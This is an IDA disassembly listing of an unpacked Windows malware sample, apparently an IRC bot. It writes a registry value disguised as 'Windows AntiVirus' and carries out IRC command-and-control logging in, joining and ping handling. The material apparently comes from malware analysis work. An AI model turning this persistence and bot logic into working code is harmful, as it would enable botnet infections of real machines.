; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F73582C3A26F6D4907AB725CF483F589 ; File Name : u:\work\f73582c3a26f6d4907ab725cf483f589_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00027000 ( 159744.) ; Section size in file : 00027000 ( 159744.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg000 segment para public 'CODE' use32 assume cs:seg000 ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; CODE XREF: seg000:00401075p ; sub_41853D+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor edi, edi xor esi, esi mov ebx, offset aWindowsAntivir ; "Windows AntiVirus oo" loc_401010: ; CODE XREF: start+6Aj lea eax, [ebp+var_4] push edi push eax push edi push 0F003Fh push edi push edi push edi push ds:off_42A058[esi] push ds:dword_42A054[esi] call ds:dword_4CDBAC ; RegCreateKeyExA cmp [ebp+arg_0], edi jz short loc_401051 push [ebp+arg_0] call sub_41B1D0 pop ecx push eax push [ebp+arg_0] push 1 push edi push ebx push [ebp+var_4] call ds:dword_4CDC1C ; RegSetValueExA jmp short loc_40105B ; --------------------------------------------------------------------------- loc_401051: ; CODE XREF: start+33j push ebx push [ebp+var_4] call ds:dword_4CDB5C ; RegDeleteValueA loc_40105B: ; CODE XREF: start+4Fj push [ebp+var_4] call ds:dword_4CDBD4 ; RegCloseKey add esi, 8 cmp esi, 18h jb short loc_401010 pop edi pop esi pop ebx leave retn start endp ; --------------------------------------------------------------------------- loc_401071: ; CODE XREF: seg000:00401087j push dword ptr [esp+4] call start pop ecx push ds:dword_42A050 call ds:dword_428064 ; Sleep jmp short loc_401071 ; =============== S U B R O U T I N E ======================================= sub_401089 proc near ; CODE XREF: seg000:00401116p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] or esi, 0FFFFFFFFh test edi, edi jz short loc_4010BB mov ecx, 0FFh push ebx loc_4010A0: ; CODE XREF: sub_401089+2Fj mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_428240[eax*4] xor esi, eax inc edx dec edi jnz short loc_4010A0 pop ebx loc_4010BB: ; CODE XREF: sub_401089+Fj mov eax, esi pop edi not eax pop esi retn sub_401089 endp ; --------------------------------------------------------------------------- push ebx push esi xor ebx, ebx push edi push ebx call sub_41B6C5 mov dword ptr [esp], offset dword_42A06C push dword ptr [esp+14h] mov esi, eax call sub_41B6B2 mov edi, eax pop ecx test edi, edi pop ecx jnz short loc_40110D loc_4010E7: ; CODE XREF: seg000:004010F9j xor eax, eax jmp short loc_40112E ; --------------------------------------------------------------------------- loc_4010EB: ; CODE XREF: seg000:00401111j inc ebx push ebx push esi call sub_41B3F2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010E7 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B30A add esp, 10h loc_40110D: ; CODE XREF: seg000:004010E5j test byte ptr [edi+0Ch], 10h jz short loc_4010EB dec ebx push ebx push esi call sub_401089 push esi mov ebx, eax call sub_41B2A1 push edi call sub_41B24B add esp, 10h mov eax, ebx loc_40112E: ; CODE XREF: seg000:004010E9j pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401132 proc near ; DATA XREF: seg000:0040124Ao var_72AF0FBB = dword ptr -72AF0FBBh var_1577C = dword ptr -1577Ch var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push ds:dword_440B44 call ds:dword_4CDC90 ; closesocket call sub_40B134 call ds:dword_4CDB50 ; WSACleanup call ds:dword_4CDB50 ; WSACleanup mov ebx, ds:dword_428064 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B780 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B780 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43FDB4 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 0B10000h sub [ebp+var_1577C+1], ecx call dword ptr [esi+50h] push edi call near ptr 0B10000h cmp ecx, [ebp+var_72AF0FBB] inc ebp lodsb push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 0B10000h push esp test eax, eax jz short loc_4011F7 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, ds:dword_42806C call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4011F7: ; CODE XREF: sub_401132+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43FDB0 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call ds:dword_428068 ; ExitProcess pop edi pop esi pop ebx loc_40121A: ; DATA XREF: seg002:0042A004o jmp $+5 push 0FFFFh push 539h call sub_418872 pop ecx mov ds:dword_4CD938, eax pop ecx retn sub_401132 endp ; --------------------------------------------------------------------------- loc_401236: ; CODE XREF: seg000:0041DC1Cp push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-10h], ebx mov dword ptr [ebp-0Ch], offset sub_401132 push dword ptr [ebp-0Ch] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_4280A8 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ds:dword_4CD93C, eax call esi ; GetTickCount push eax call sub_41BAC8 pop ecx call sub_409A01 push 2 call ds:dword_4CDCA4 ; SetErrorMode push 7530h ; CODE XREF: seg000:00401302j push offset aFenr ; "FEnR" push ebx push ebx call near ptr 0EB0004h or dl, [eax-18h] pop esi in eax, dx lodsb add [edx], ch cmp eax, 102h jnz short loc_4012B6 push 1 call ds:dword_428068 ; ExitProcess loc_4012B6: ; CODE XREF: seg000:004012ACj lea eax, [ebp-888h] push eax push 202h call ds:dword_4CDB68 ; WSAStartup cmp eax, ebx mov [ebp-0Ch], eax jnz loc_40186C cmp byte ptr [ebp-888h], 2 jnz loc_401866 xor eax, eax mov al, [ebp-887h] cmp al, 2 jnz loc_401866 mov esi, 104h lea eax, [ebp-3F4h] push esi push eax call near ptr 0EF0004h ja short near ptr loc_40128E+3 test [eax], edx std ; --------------------------------------------------------------------------- db 0FFh dd 535056FFh, 0B0ECF3E8h, 0E8508500h, 0B2ECECh, 8858D9Bh dd 50FFFFF9h, 0FA08858Dh, 5350FFFFh, 0FD10858Dh, 5053FFFFh dd 1A88CE8h, 8858D00h, 50FFFFF9h, 0FA08858Dh, 6850FFFFh dd 42AAECh, 0FB08858Dh, 5056FFFFh, 1A81BE8h, 0C858D00h dd 50FFFFFCh, 0FD10858Dh, 0E850FFFFh, 1A788h, 8530C483h dd 0A9850FC0h, 39000001h, 42A0901Dh, 0A0ECBE00h, 31740042h dd 0E8FF3356h, 19E48h, 5904E883h, 3FE82374h, 6A0001A7h dd 0F759991Ah, 0C28056F9h, 0EC978861h, 470042A0h, 19E27E8h dd 4E88300h, 72F83B59h, 0C858DDDh, 56FFFFFCh, 14858D50h dd 68FFFFFEh, 42AAE4h, 0A6ACE850h, 0C4830001h, 14858D10h dd 50FFFFFEh, 809815FFh, 0F8830042h, 8D1274FFh, 0FFFE1485h dd 8068FFh, 0E8500000h, 70EC10h, 90358B6Ch, 33004280h dd 0FF22EBFFh, 42808C15h, 75FB3B00h, 20F8832Dh, 0F8830574h dd 33237505h, 3A9868FFh, 0FF470000h, 42806415h, 14858D00h dd 53FFFFFEh, 10858D50h, 50FFFFFDh, 0C085D6FFh, 858DC974h dd 0FFFFFE14h, 7039E850h, 8D590001h, 0FFFE1485h, 50076AFFh dd 0B8EBB7E8h, 106ACE00h, 53DC458Dh, 0A326E850h, 446A0001h dd 0FF18858Dh, 565EFFFFh, 15E85053h, 890001A3h, 0FFFF18B5h dd 46F633FFh, 0C718C483h, 0FFFF2485h, 43FDB4FFh, 44B58900h dd 66FFFFFFh, 0FF489D89h, 71E8FFFFh, 0B00BAEBh, 685650h dd 0E8001000h, 0BCEB64h, 108D8D1Fh, 51FFFFFDh, 14858D50h dd 50FFFFFEh, 0F674858Dh, 0D868FFFFh, 500042AAh, 1A5B5E8h dd 14C48300h, 50DC458Dh, 0FF18858Dh, 8D50FFFFh, 0FFFC0C85h dd 6A5350FFh, 8D535628h, 0FFF67485h, 8D5053FFh, 0FFFE1485h dd 15E850FFh, 6900BEEBh, 2874C085h, 0C868h, 6415FF00h dd 0FF004280h, 358BDC75h, 42806Ch, 75FFD6FFh, 0FFD6FFE0h dd 4CDB5015h, 15FF5300h, 428068h, 0DED03D83h, 7E02004Dh dd 0DED4A143h, 70FF004Dh, 0A437E804h, 8B590001h, 56FF6AF0h dd 70EAC3E8h, 0FF56BA00h, 42806C15h, 0DED4A100h, 5839004Dh dd 68197408h, 7D0h, 806415FFh, 0D4A10042h, 0FF004DDEh dd 99E80870h, 0E30070EAh, 0A0941D39h, 15740042h, 0DCC41D39h dd 0D75004Ch, 0FB08858Dh, 0E850FFFFh, 0FFFFFA7Ch, 5C858D59h dd 68FFFFFFh, 42AABCh, 0A4E0E850h, 8D530001h, 0FFFF5C85h dd 0E85053FFh, 99CDh, 0FF5C858Dh, 0E850FFFFh, 13CFEh, 0B8068h dd 0B8685300h, 0E80043FDh, 1A1C0h, 0FF5C858Dh, 9868FFFFh dd 500042AAh, 1A4A5E8h, 858D5300h, 0FFFFFF5Ch, 0E850016Ah dd 9991h, 8B38C483h, 7C358BF8h, 8D004280h, 5350F845h, 9BCB6853h dd 53530041h, 0FF69D6FFh, 234h, 8789C33Bh, 440B4Ch, 15FF1B75h dd 42808Ch, 5C858D50h, 68FFFFFFh, 42AA58h, 0A454E850h dd 0C4830001h, 5C858D0Ch, 50FFFFFFh, 13C7DE8h, 5C858D00h dd 0C7FFFFFFh, 0AA2C2404h, 0E8500042h, 1A432h, 5C858D53h dd 6AFFFFFFh, 1EE85001h, 83000099h, 0F88B14C4h, 50F8458Dh dd 86685353h, 530041A6h, 69D6FF53h, 234FFh, 89C33B00h dd 440B4C87h, 0FF1B7500h, 42808C15h, 858D5000h, 0FFFFFF5Ch dd 42A9F068h, 0E7E85000h, 830001A3h, 858D0CC4h, 0FFFFFF5Ch dd 3C10E850h, 858D0001h, 0FFFFFF5Ch, 0C82404C7h, 500042A9h dd 1A3C5E8h, 858D5300h, 0FFFFFF5Ch, 0E850016Ah, 98B1h dd 8B14C483h, 0F8458DF8h, 8858D50h, 53FFFFFBh, 10716850h dd 53530040h, 0FF69D6FFh, 234h, 8789C33Bh, 440B4Ch, 15FF1B75h dd 42808Ch, 5C858D50h, 68FFFFFFh, 42A98Ch, 0A374E850h dd 0C4830001h, 5C858D0Ch, 50FFFFFFh, 13B9DE8h, 0A3BCE800h dd 7F6A0001h, 6803E083h, 42A0C8h, 4CD94468h, 0DAACA300h dd 0B1E8004Ch, 0A10001A0h, 42A070h, 0C4BF3F6Ah, 68004CD9h dd 42A0E0h, 0DA94A357h, 95E8004Ch, 6A0001A0h, 0DA04BE3Fh dd 0E468004Ch, 560042A0h, 1A083E8h, 28C48300h, 0DA981D89h dd 5D89004Ch, 0DC1D39FCh, 75004CDCh, 0EC458D16h, 15FF5053h dd 4CDB34h, 775C085h, 753068h, 682CEB00h, 4CD940h, 0DAA81D89h dd 0DEE8004Ch, 83000000h, 458902F8h, 0BE840FF4h, 39000000h dd 4CDAA81Dh, 0FF037400h, 0B868FC4Dh, 0FF00000Bh, 42806415h dd 0FC45FF00h, 6FC7D83h, 7D83A77Ch, 840F02F4h, 95h, 74F05D39h dd 687F6A40h, 42A0C8h, 4CD94468h, 9FFEE800h, 70A10001h dd 6A0042A0h, 0A0E0683Fh, 0A3570042h, 4CDA94h, 19FE7E8h dd 683F6A00h, 42A0E4h, 9FDAE856h, 0C4830001h, 0F05D8924h dd 0FFFF55E9h, 0A41D38FFh, 0F004CDAh, 0FFFF4984h, 687F6AFFh dd 4CDAA4h, 4CD94468h, 9FB2E800h, 74A10001h, 6A0042A0h dd 0DAA5683Fh, 0A357004Ch, 4CDA94h, 19F9BE8h, 683F6A00h dd 4CDAA6h, 9F8EE856h, 0C4830001h, 0F045C724h, 1, 0FFFF05E9h dd 98CEE8FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_401866: ; CODE XREF: seg000:004012DAj ; seg000:004012EAj call ds:dword_4CDB50 ; WSACleanup loc_40186C: ; CODE XREF: seg000:004012CDj pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401875 proc near ; DATA XREF: seg000:004080A5o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40189A: ; CODE XREF: sub_401875+E6j ; sub_401875+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B780 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call ds:dword_4CDBF8 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A9E8 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_4019D7 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B780 push 0 lea eax, [ebp+var_2C] push ds:dword_42A0A4 push ds:dword_42A0A0 push eax call sub_40AF07 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_440B50 push edi push eax call sub_41B7E0 add esp, 28h push 6 push 1 push 2 call ds:dword_4CDC78 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov ds:dword_440B44[eax], esi lea eax, [ebp+var_10] push eax push esi call ds:dword_4CDBA0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_401960 push esi call ds:dword_4CDC90 ; closesocket call sub_40AA11 push 7D0h loc_401955: ; CODE XREF: sub_401875+146j call ds:dword_428064 ; Sleep jmp loc_40189A ; --------------------------------------------------------------------------- loc_401960: ; CODE XREF: sub_401875+CDj lea eax, [ebp+var_18C] push eax push offset unk_42AAF4 call sub_415322 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_4019DB add esp, 28h mov edi, eax push esi call ds:dword_4CDC90 ; closesocket test edi, edi jz loc_40189A cmp edi, 1 jnz short loc_4019BD push 0DBBA0h jmp short loc_401955 ; --------------------------------------------------------------------------- loc_4019BD: ; CODE XREF: sub_401875+13Fj cmp edi, 2 jnz loc_40189A push [ebp+var_34] call sub_40B287 pop ecx push edi pop eax loc_4019D1: ; CODE XREF: sub_401875+164j pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_4019D7: ; CODE XREF: sub_401875+5Aj xor eax, eax jmp short loc_4019D1 sub_401875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019DB proc near ; CODE XREF: sub_401875+123p var_1990 = byte ptr -1990h var_990 = byte ptr -990h var_1C0 = byte ptr -1C0h var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1990h call sub_41BD10 push ebx xor ebx, ebx cmp ds:byte_42A0D4, bl push esi push edi mov [ebp+var_8], ebx mov [ebp+var_120], bl jz short loc_401A13 push offset byte_42A0D4 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409920 add esp, 0Ch loc_401A13: ; CODE XREF: sub_4019DB+21j push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AF07 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41BA76 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call ds:dword_4CDC48 ; send cmp eax, 0FFFFFFFFh jnz short loc_401A7D push [ebp+arg_0] call ds:dword_4CDC90 ; closesocket push 1388h call ds:dword_428064 ; Sleep loc_401A76: ; CODE XREF: sub_4019DB+CCj ; sub_4019DB+146j xor eax, eax loc_401A78: ; CODE XREF: sub_4019DB+162j ; sub_4019DB+16Aj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A7D: ; CODE XREF: sub_4019DB+85j ; sub_4019DB+EBj ... mov esi, 1000h lea eax, [ebp+var_1990] push esi push ebx push eax call sub_41B780 add esp, 0Ch lea eax, [ebp+var_1990] push ebx push esi push eax push [ebp+arg_0] call ds:dword_4CDC10 ; recv test eax, eax jle short loc_401A76 lea eax, [ebp+var_990] push eax lea eax, [ebp+var_1990] push eax call sub_41816E pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A7D lea edi, [ebp+var_990] loc_401ACE: ; CODE XREF: sub_4019DB+158j xor esi, esi inc esi loc_401AD1: ; CODE XREF: sub_4019DB+137j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_1C0] push eax lea eax, [ebp+var_120] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call loc_401B4A add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401B14 push 7D0h call ds:dword_428064 ; Sleep jmp short loc_401AD1 ; --------------------------------------------------------------------------- loc_401B14: ; CODE XREF: sub_4019DB+12Aj cmp esi, 0FFFFFFFDh jz short loc_401B42 cmp esi, 0FFFFFFFEh jz short loc_401B3A cmp esi, 0FFFFFFFFh jz loc_401A76 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401ACE jmp loc_401A7D ; --------------------------------------------------------------------------- loc_401B3A: ; CODE XREF: sub_4019DB+141j xor eax, eax inc eax jmp loc_401A78 ; --------------------------------------------------------------------------- loc_401B42: ; CODE XREF: sub_4019DB+13Cj push 2 pop eax jmp loc_401A78 sub_4019DB endp ; --------------------------------------------------------------------------- loc_401B4A: ; CODE XREF: sub_4019DB+11Dp push ebp mov ebp, esp mov eax, 5D84h call sub_41BD10 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp-2C0h] push ebx push eax mov dword ptr [ebp-0A4h], 3 mov [ebp-10h], ebx mov [ebp-0A8h], ebx mov [ebp-8], ebx mov [ebp-4], ebx mov [ebp-2C4h], ebx call sub_41B780 push 1Bh lea eax, [ebp-334h] push dword ptr [ebp+18h] push eax call sub_41B7E0 add esp, 18h cmp [ebp+8], ebx jz loc_401F82 push esi lea eax, [ebp-4484h] push ebx push eax call sub_41B780 dec esi lea eax, [ebp-4484h] push esi push dword ptr [ebp+8] push eax call sub_41B7E0 lea eax, [ebp-4484h] push offset asc_42E0CC ; " :" push eax call sub_41BAF0 mov [ebp-0Ch], eax lea eax, [ebp-4484h] push esi push eax lea eax, [ebp-4AECh] push eax call sub_41B7E0 mov esi, offset asc_42E0C8 ; " " lea eax, [ebp-4AECh] push esi push eax call sub_41C2E4 xor edi, edi add esp, 34h mov [ebp-90h], eax inc edi loc_401C10: ; CODE XREF: seg000:00401C24j push esi push ebx call sub_41C2E4 mov [ebp+edi*4-90h], eax inc edi pop ecx cmp edi, 20h pop ecx jl short loc_401C10 mov esi, [ebp-90h] cmp esi, ebx jz loc_401F82 cmp [ebp-8Ch], ebx jz loc_401F82 push 100h lea eax, [ebp-95Ch] push ebx push eax call sub_41B780 add esp, 0Ch push 1Fh pop edx loc_401C58: ; CODE XREF: seg000:00401C8Cj lea ecx, [ebp+edx*4-90h] mov eax, [ecx] cmp eax, ebx jz short loc_401C8B cmp byte ptr [eax], 2Dh jnz short loc_401C8E cmp [eax+2], bl jnz short loc_401C8E movsx esi, byte ptr [eax+1] mov [ecx], ebx mov byte ptr [ebp+esi-95Ch], 1 mov esi, [ebp-90h] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C8B: ; CODE XREF: seg000:00401C63j dec edx jns short loc_401C58 loc_401C8E: ; CODE XREF: seg000:00401C68j ; seg000:00401C6Dj xor edi, edi inc edi cmp [ebp-8E9h], bl jz short loc_401C9C mov [ebp-8], edi loc_401C9C: ; CODE XREF: seg000:00401C97j cmp [ebp-8EEh], bl jz short loc_401CAA mov [ebp-8], ebx mov [ebp-4], edi loc_401CAA: ; CODE XREF: seg000:00401CA2j cmp byte ptr [esi], 0Ah jz short loc_401CE4 push 7Fh lea eax, [ebp-0E2Ch] push esi push eax call sub_41B7E0 lea eax, [esi+1] push 17h push eax lea eax, [ebp-0C0h] push eax call sub_41B7E0 lea eax, [ebp-0C0h] push offset asc_42E0C4 ; "!" push eax call sub_41C2E4 add esp, 20h loc_401CE4: ; CODE XREF: seg000:00401CADj push esi push offset aPing ; "PING" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_401D35 push dword ptr [ebp-8Ch] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 mov eax, [ebp+28h] add esp, 0Ch cmp [eax], ebx jnz loc_401DD9 push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 add esp, 10h jmp loc_401DD9 ; --------------------------------------------------------------------------- loc_401D35: ; CODE XREF: seg000:00401CF3j mov esi, [ebp-8Ch] push esi push offset a001 ; "001" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4098DA push esi push offset a005 ; "005" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4098DA push esi push offset a302 ; "302" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_401DA0 push offset a@ ; "@" push dword ptr [ebp-84h] call sub_41BAF0 pop ecx cmp eax, ebx pop ecx jz short loc_401DD9 inc eax push 9Fh push eax push dword ptr [ebp+24h] call sub_41B7E0 add esp, 0Ch jmp short loc_401DD9 ; --------------------------------------------------------------------------- loc_401DA0: ; CODE XREF: seg000:00401D74j push esi push offset a433 ; "433" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_401DE0 push ebx push ds:dword_42A0A4 push ds:dword_42A0A0 push dword ptr [ebp+18h] call sub_40AF07 push dword ptr [ebp+18h] push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_409920 add esp, 1Ch loc_401DD9: ; CODE XREF: seg000:00401D14j ; seg000:00401D30j ... mov eax, edi jmp loc_401F85 ; --------------------------------------------------------------------------- loc_401DE0: ; CODE XREF: seg000:00401DAFj mov edi, [ebp+20h] lea eax, [ebp-0E2Ch] push eax push edi call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_401E00 mov dword ptr [ebp-0A8h], 1 loc_401E00: ; CODE XREF: seg000:00401DF4j mov esi, [ebp-8Ch] push esi push offset aKick ; "KICK" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_401ECA cmp [edi], bl jz short loc_401E95 push 7Fh lea eax, [ebp-0E2Ch] push edi push eax call sub_41B7E0 add esp, 0Ch cmp [ebp-84h], ebx jz short loc_401E95 push dword ptr [ebp-84h] lea eax, [ebp-0C0h] push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_401E95 lea eax, [ebp-0C0h] mov [edi], bl push eax lea eax, [ebp-2C0h] push offset unk_42E058 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax lea eax, [ebp-0C0h] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push dword ptr [ebp+0Ch] call sub_409920 lea eax, [ebp-2C0h] push eax call sub_4152AE add esp, 20h loc_401E95: ; CODE XREF: seg000:00401E1Dj ; seg000:00401E37j ... push dword ptr [ebp-84h] push dword ptr [ebp+18h] call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_401F82 push dword ptr [ebp+14h] mov eax, [ebp+28h] push dword ptr [ebp+10h] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401EBD: ; CODE XREF: seg000:004020D1j ; seg000:00402384j ... push dword ptr [ebp+0Ch] call sub_409920 jmp loc_404292 ; --------------------------------------------------------------------------- loc_401ECA: ; CODE XREF: seg000:00401E15j push esi push offset aNick ; "NICK" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_401FEA mov eax, [ebp-88h] lea esi, [eax+1] lea eax, [ebp-0E2Ch] push eax push edi mov [ebp+2Ch], esi call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_401F31 lea eax, [ebp-0E2Ch] push 21h push eax call sub_41C1A0 pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jz short loc_401F31 lea eax, [edi+1] push esi push eax mov byte ptr [edi], 3Ah call sub_41C0A0 push dword ptr [ebp+8] add edi, 2 push edi call sub_41C0B0 add esp, 10h loc_401F31: ; CODE XREF: seg000:00401EFCj ; seg000:00401F13j cmp esi, ebx jz short loc_401F82 push dword ptr [ebp+18h] lea eax, [ebp-0C0h] push eax call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push esi push dword ptr [ebp+18h] call sub_41B7E0 jmp loc_4036A6 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: seg000:00401F48j mov edi, [ebp+20h] xor esi, esi loc_401F5F: ; CODE XREF: seg000:00401F80j cmp [edi], bl jz short loc_401F76 lea eax, [ebp-0E2Ch] push eax push edi call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_401F8A loc_401F76: ; CODE XREF: seg000:00401F61j inc esi add edi, 80h cmp esi, 1 jl short loc_401F5F loc_401F82: ; CODE XREF: seg000:00401BA5j ; seg000:00401C2Ej ... xor eax, eax inc eax loc_401F85: ; CODE XREF: seg000:00401DDBj ; seg000:00404552j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F8A: ; CODE XREF: seg000:00401F74j lea eax, [ebp-0E2Ch] push 21h push eax call sub_41C1A0 pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jz short loc_401F82 push eax call sub_41B1D0 push dword ptr [ebp+2Ch] mov edi, eax call sub_41B1D0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F82 push dword ptr [ebp+8] shl esi, 7 push dword ptr [ebp+2Ch] add esi, [ebp+20h] push offset aSS ; ":%s%s" push esi call sub_41BA76 push ebx lea eax, [ebp-45E8h] push ebx push eax push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 24h jmp short loc_401F82 ; --------------------------------------------------------------------------- loc_401FEA: ; CODE XREF: seg000:00401ED9j push esi push offset aPart ; "PART" call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_40200C push esi push offset aQuit ; "QUIT" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_402037 loc_40200C: ; CODE XREF: seg000:00401FF9j xor esi, esi mov [ebp+14h], edi loc_402011: ; CODE XREF: seg000:00402035j mov eax, [ebp+14h] cmp [eax], bl jz short loc_40202A push dword ptr [ebp-90h] push eax call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_402078 loc_40202A: ; CODE XREF: seg000:00402016j add dword ptr [ebp+14h], 80h inc esi cmp esi, 1 jl short loc_402011 loc_402037: ; CODE XREF: seg000:0040200Aj push dword ptr [ebp-8Ch] push offset a353 ; "353" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_4020D6 push dword ptr [ebp-80h] push dword ptr [ebp+10h] call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40206B mov eax, [ebp+28h] mov dword ptr [eax], 1 loc_40206B: ; CODE XREF: seg000:00402060j push dword ptr [ebp-80h] push offset unk_42E004 jmp loc_4098CE ; --------------------------------------------------------------------------- loc_402078: ; CODE XREF: seg000:00402028j lea eax, 